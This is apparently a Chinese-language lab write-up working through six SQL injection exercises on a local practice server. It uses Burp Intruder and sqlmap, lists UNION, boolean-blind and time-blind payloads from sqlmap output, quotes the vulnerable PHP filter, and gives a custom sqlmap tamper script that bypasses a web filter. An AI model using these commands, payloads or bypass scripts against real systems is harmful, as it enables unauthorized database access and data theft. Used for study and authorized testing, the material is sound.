Mysql数据库-sql injection

案例一:

http://192.168.2.131/sqli/example1.php?name=root

手工判断是否有注入

一般来说,报错型注入是最好判断的。

通过添加单引号,页面返回内容,发现和正常情况下不同。虽然并没有报错,但可以用sqlmap检测一下。

通过添加 +,mysql中,+代表空格。 name=root+++,而网页显示正常,说明将注入的字符解析为空格了。

sqlmap工具检查

sqlmap -u "http://192.168.2.131/sqli/example1.php?name=root" --dbs 1

1
2
3
4
Parameter: name (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: name=root' UNION ALL SELECT NULL,CONCAT(CONCAT('qkxxq','KmpPokTYtZMOrkRgRUoPJDbxcbjTRzrokLLlMQen'),'qjvbq'),NULL,NULL,NULL-- PXHF

案例二:

http://192.168.2.131/sqli/example2.php?name=root 2

  • 首先用sqlmap检查下,结果一片标红。

  • http://192.168.2.131/sqli/example2.php?name=root/*aaa*/

  • name=root%0a \n换行符

  • name=root%09 \t

burp intruder观察响应

观察一下响应。手工判断有点慢,用burp判断下 3

分为三种响应,一种是和原请求响应一样的;一种响应查询失败的;一种“error no space”

注意到

1
2
union select ---------“error no space”
union-------------查询失败

说明空格被过滤

  • 添加空格转/**/脚本 sqlmap -u “http://192.168.2.131/sqli/example2.php?name=root” –tamper space2comment.py –dbs 扫描失败

  • 指定布尔型注入 sqlmap -u “http://192.168.2.131/sqli/example2.php?name=root” –tamper=space2comment.py -technique B –dbms mysql –level 5

  • 添加一个参数–dbms mysql,指定使用的payloads。 sqlmap -u "http://192.168.2.131/sqli/example2.php?name=root" --tamper=space2comment.py --dbms mysql -v for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?

1
2
3
4
5
6
Parameter: name (GET)
    Type: AND/OR time-based blind 基于时间的盲注
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: name=root' AND SLEEP(5) AND 'WCkk'='WCkk
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])

删除sqlmap日志

rm -rf /root/.sqlmap/output/*

sqlmap -u “http://192.168.2.131/sqli/example5.php?id=2” –dbs

总结

sqlmap如果一开始扫描失败,如果需要再次尝试,需要清除一下日志,否则会直接引用历史扫描结果,不会再次扫描。

如果不指定数据库,或者注入类型,waf过滤的字符,就很容易扫描失败。 但这不代表并不存在注入。

案例三:

5 经过intruder判断,和上一个案例,多过滤了%0a即\n换行符。

同样用时间盲注。 sqlmap -u “http://192.168.2.131/sqli/example3.php?name=root” –tamper=space2comment.py –dbms mysql –dbs

1
2
3
4
5
Parameter: name (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: name=root' AND SLEEP(5) AND 'nZha'='nZha

案例四:

6 http://192.168.2.131/sqli/example4.php?id=2 注释被正确解析了,其他都都导致页面查询失败。

  • sqlmap -u “http://192.168.2.131/sqli/example4.php?id=2” –dbms mysql –dbs
1
2
3
4
5
6
7
8
9
10
11
12
13
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (5063=5063) THEN 5063 ELSE 5063*(SELECT 5063 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x716b6b6a71,0x6c4e495452554c4e514b6f53784f6c5a6b664e4d53674176646b4d4e4a4f52547850714663686d68,0x71766b7a71),NULL,NULL-- XTiX

案例五:

和上一个案例差不多。成功解析注释。 7

注入类型: Type: AND/OR time-based blind sqlmap -u "http://192.168.2.131/sqli/example5.php?id=2" --dbms mysql --dbs

案例六:

8 %0a换行符、#注释符被正确解析。 错误提示:ERROR INTEGER REQUIRED

选择与创建tamper脚本

/usr/share/sqlmap/tamper目录下,有很多脚本可以帮助绕过过滤。

没有找到空格直接转换行符的脚本,于是观察一下空格转注释的脚本。运行sqlmap时候,用wireshark抓包一下。 9

10 确认空格转换为/**/,我们可以新建一个脚本,替换一下注释为换行符。 cp space2comment.py space2newline.py sed -i 's/\/\*\*\//%0a/g' space2newline.py

  • sqlmap -u "http://192.168.2.131/sqli/example6.php?id=2" --dbms mysql --tamper=space2newline.py --dbs 失败了,于是尝试 ?id=2%0Aand%0A1=1 一切正常 ?id=2%0Aand%0A1=2 查询失败

源代码

黑盒测试不知道过滤条件,做不出了,于是看下源代码。

下面这条源代码还蛮好懂的,^$在正则表达式中,代表开头和结尾。

^b,表示以b开头;b$表示以b结尾。

1
2
3
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

重写一个tamper脚本

sqlmap -u "http://192.168.2.131/sqli/example6.php?id=2" --dbms mysql --tamper=addTrue.py --dbs

这次成功了,基于时间的盲注。

1
2
3
4
5
6
7
8
Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)-- jExG

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x71626a7071,0x6c6c5a494a6370686e4a6d5662726c49796e686a7455456745526e48654278634d57426b7467746a,0x7170626271),NULL,NULL-- RmtZ

addTrue.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding:utf-8
#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT id FROM users or 1=1'
    """

    retVal = payload

    if payload:
        retVal = payload+ " or 1=1"

    return retVal